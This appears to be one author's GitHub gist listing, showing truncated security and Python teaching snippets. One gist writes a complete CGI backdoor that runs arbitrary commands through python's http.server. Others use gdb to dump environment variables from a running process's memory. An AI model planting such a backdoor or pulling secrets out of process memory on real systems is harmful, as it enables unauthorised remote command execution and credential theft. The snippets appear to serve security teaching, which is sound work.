Skip to content

Instantly share code, notes, and snippets.

#!/usr/bin/env python3
import argparse
import math
import random
import hashlib
import codecs
"""
Given the following MD5 Rainbow table that was generate using this program, determine
the password for this hash bcccb2598de87da2952522eae448b356. You must use this program
@MarkBaggett
MarkBaggett / pe_scan_difficult_finished.py
Last active July 4, 2019 19:52
Python Windows DLLs finding and calling
import pefile
import sys
import ctypes
import glob
import argparse
import itertools
def search_tables(thefile, pename, search = []):
if hasattr(thefile, "DIRECTORY_ENTRY_IMPORT"):
if args.verbose or args.dump:
@MarkBaggett
MarkBaggett / twit_interests.py
Last active January 18, 2020 18:50
Determine a persons interests based on who they follow
#!/usr/bin/env python
"""Twit Interest will infer a persons interests based upon the most common words in the descriptions of those they follow"""
from twython import Twython
from collections import Counter
import sys
#Twython isn't a standard module. "python -m pip install twython" to install it. If no pip run this https://bootstrap.pypa.io/get-pip.py
twit = Twython(<your twitter APP KEY HERE> , < Your twitter Secret key here >)
#Need a key? Go https://apps.twitter.com/app/new Create app. Put anything you want for the values in the app.
@MarkBaggett
MarkBaggett / Corona data.ipynb
Last active April 3, 2020 21:14
Corona Virus Testing Statistics Jupyter notebook
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
@MarkBaggett
MarkBaggett / gist:38dcff6a0975f148aa858e924d64c492
Created November 14, 2020 18:22
http.server cgi backdoor
cd /tmp
mkdir cgi-bin
echo '#!/bin/bash' > ./cgi-bin/backdoor.cgi
echo 'echo -e "Content-Type: text/plain\n\n"' >> ./cgi-bin/backdoor.cgi
echo 'echo -e $($1)' >> ./cgi-bin/backdoor.cgi
chmod +x ./cgi-bin/backdoor.cgi
python -m http.server --cgi
@MarkBaggett
MarkBaggett / Decorators_demystified.md
Last active February 7, 2021 09:42
Decorators Demystified Presentation
@MarkBaggett
MarkBaggett / liam_neeson.py
Created August 2, 2022 19:16
Thats right. You can hire Liam Neeson to protect your /etc/shadow file.
#Liam Neeson is the single most protection that any organization can take to protect their Linux passwords hashes.
#Once Liam Neeson is protecting your shadow file all your hashes are invisible to terrorist tools like cat, less and others that process bash escape sequences
#Are you seriously thinking about using this in production? Back up your files and test it first.
#Author @MarkBaggett
import re
import argparse
import os
import sys
@MarkBaggett
MarkBaggett / gist:ccf8a441f788f6f631f9b5f0e5fa3de9
Created May 28, 2022 21:19
get environment variables from process id
def get_local_envvars_pid(process_id):
gdb_script = "set variable $envs = (char **) environ\nset $i = 0\nwhile ($envs[$i] != 0)\nprint $envs[$i++]\nend\nquit\n"
pathlib.Path("/tmp/getenv.gdb").write_text(gdb_script)
gdb_command = f"gdb -batch -x /tmp/getenv.gdb -p {process_id}"
ph = subprocess.Popen(gdb_command.split(),stdout=subprocess.PIPE, stderr=subprocess.PIPE)
out,err = ph.communicate()
log.debug(f"gdb environment variable output {out} errors {err}")
try:
found_items = re.findall(r'\$\d+\s+=\s+[0-9a-fx]+\s+"(\S+)=(.+)"\n', out.decode())
except:
@MarkBaggett
MarkBaggett / dump_process_variables.py
Last active September 27, 2022 14:52
Python process to dump the environment variables from a processes memory. (/proc/$$/environ only captures process start)
import sys
import os
import pprint
import pathlib
import subprocess
import logging
import re
def get_local_envvars_pid(process_id):
gdb_script = "set variable $envs = (char **) environ\nset $i = 0\nwhile ($envs[$i] != 0)\nprint $envs[$i++]\nend\nquit\n"
@MarkBaggett
MarkBaggett / workshop_check.py
Last active October 18, 2022 13:25
SEC673 Workshop Setup Check
import sys
import subprocess
import webbrowser
import time
import urllib.request
import tempfile
import zipfile
import pathlib
from io import BytesIO